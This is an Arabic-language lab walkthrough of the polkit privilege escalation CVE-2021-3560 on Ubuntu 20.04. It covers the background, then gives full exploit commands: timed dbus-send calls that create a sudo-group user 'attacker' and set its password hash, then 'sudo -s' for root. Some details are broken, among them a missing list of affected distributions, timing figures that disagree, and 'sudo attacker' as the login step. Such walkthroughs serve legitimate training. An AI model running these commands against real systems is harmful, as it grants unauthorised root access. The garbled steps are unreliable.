
دليل خطوة بخطوة لاستغلال CVE-2021-3560، وهي ثغرة تصعيد صلاحيات في polkit، بما في ذلك الخلفية، وتحليل الثغرة، وأوامر الاستغلال اليدوية.
في أوائل عام 2021، اكتشف باحث يُدعى Kevin Backhouse ثغرة تصعيد صلاحيات عمرها سبع سنوات (تم تصنيفها لاحقًا باسم CVE-2021-3560) في أداة polkit في نظام لينكس. لحسن الحظ، تستخدم توزيعات مختلفة من لينكس (وحتى إصدارات مختلفة من نفس التوزيعات) إصدارات مختلفة من البرنامج، مما يعني أن البعض فقط معرض للخطر.
على وجه التحديد، كانت التوزيعات السائدة التالية، من بين أخرى، معرضة للخطر:
بالنسبة لهذه الغرفة سنركز تحديدًا على أوبونتو 20.04. أصدرت Canonical تصحيحًا لإصدارها من polkit (policykit-1)، والذي يحمل رقم الإصدار 0.105-26ubuntu1.1. آخر إصدار معرض للخطر متاح في مستودعات apt لـ Focal Fossa هو 0.105-26ubuntu1، لذلك إذا رأيت هذا، فقد تكون محظوظًا!
يمكننا استخدام apt list --installed | grep policykit-1 للتحقق من الإصدار المثبت من polkit:
السؤال المنطقي الذي يجب طرحه الآن هو: "ما هو polkit؟"
Polkit هو جزء من نظام التصريح في لينكس. في الواقع، عندما تحاول تنفيذ إجراء يتطلب مستوى أعلى من الامتيازات، يمكن استخدام مجموعة أدوات السياسة لتحديد ما إذا كانت لديك الأذونات اللازمة. وهو مدمج مع systemd وأكثر قابلية للتخصيص من نظام sudo التقليدي. في الواقع، يُشار إليه أحيانًا باسم "sudo الخاص بـ systemd".
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
سيرسل هذا الأمر يدويًا رسالة dbus إلى خدمة الحسابات، ويعرض الرد وينشئ مستخدمًا جديدًا يُدعى مهاجم (string:attacker) مع وصف "حساب مختبِر الاختراق" (string:"Pentester Account") وعضوية مجموعة sudo مضبوطة على true (مرجعها العلامة int32:1).
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD_HASH' string:'Ask the pentester'
يرسل هذا مرة أخرى رسالة dbus إلى خدمة الحسابات، لطلب تغيير كلمة مرور للمستخدم ذي المعرف الذي نحدده (معروض باللون الأحمر)، وتجزئة كلمة مرور نحتاج إلى إنشائها يدويًا، وتلميح ("اسأل مختبِر الاختراق")
نظرًا لأن هذه حالة سباق (race condition) بشكل فعال، نحتاج أولاً إلى تحديد المدة التي سيستغرقها أمرنا ليعمل. دعنا نجرب ذلك مع رسالة dbus الأولى:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
مثال:
real 0m0.11s
user 0m0.002s
sys 0m0000s
يستغرق هذا 0.011 ثانية، أي 11 مللي ثانية. سيكون هذا الرقم مختلفًا قليلاً في كل مرة تشغيل الأمر؛ ومع ذلك، على الجهاز المقدم يجب أن يكون دائمًا حوالي هذا الرقم.
نحتاج إلى قتل الأمر تقريبًا في منتصف فترة التنفيذ. عادةً ما تعمل 5 مللي ثانية بشكل جيد على الجهاز المقدم؛ ومع ذلك، كن على علم أن هذا ليس شيئًا دقيقًا. قد تحتاج إلى تغيير وقت النوم، أو تشغيل الأمر عدة مرات قبل أن يعمل. ومع ذلك، بمجرد العثور على وقت يعمل، يجب أن يعمل بشكل ثابت. إذا كنت تواجه صعوبة في الحصول على وقت عمل، فإن وضع الأمر داخل حلقة bash for والتشغيل السريع عبر مجموعة من الأوقات يميل إلى العمل بشكل جيد.
دعنا نجرب هذا. نحتاج إلى إرسال رسالة dbus، ثم قتلها في منتصف الطريق تقريبًا:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
لشرح الأمر أعلاه، أرسلنا رسالة dbus في مهمة خلفية (باستخدام علامة العطف (ampersand) لجعل الأمر في الخلفية). ثم أخبرناه أن ينام لمدة 5 مللي ثانية (sleep 0.005s)، ثم يقتل العملية السابقة ($!). نجح هذا في إنشاء المستخدم الجديد، وإضافته إلى مجموعة sudo.
يجب أن نلاحظ في هذه المرحلة أن معرف المستخدم للمستخدم الجديد في هذه الحالة هو 1000.
id attacker
الآن كل ما نحتاجه هو إعطاء المستخدم كلمة مرور وينبغي أن نكون جاهزين!
نحتاج إلى تجزئة كلمة مرور هنا، لذا دعنا ننشئ تجزئة Sha512Crypt لكلمة المرور التي اخترناها (Expl01ted):
openssl passwd -6 Expl01ted
باستخدام openssl، ننشئ كلمة مرور من النوع 6 (SHA512-crypt) وكلمة المرور النصية الخاصة بنا (Expl01ted).
الآن دعنا ننهي هذا! 5 مللي ثانية عملت في المرة السابقة، لذا يجب أن تعمل هنا أيضًا:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
sudo attacker
sudo -l
sudo -s
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about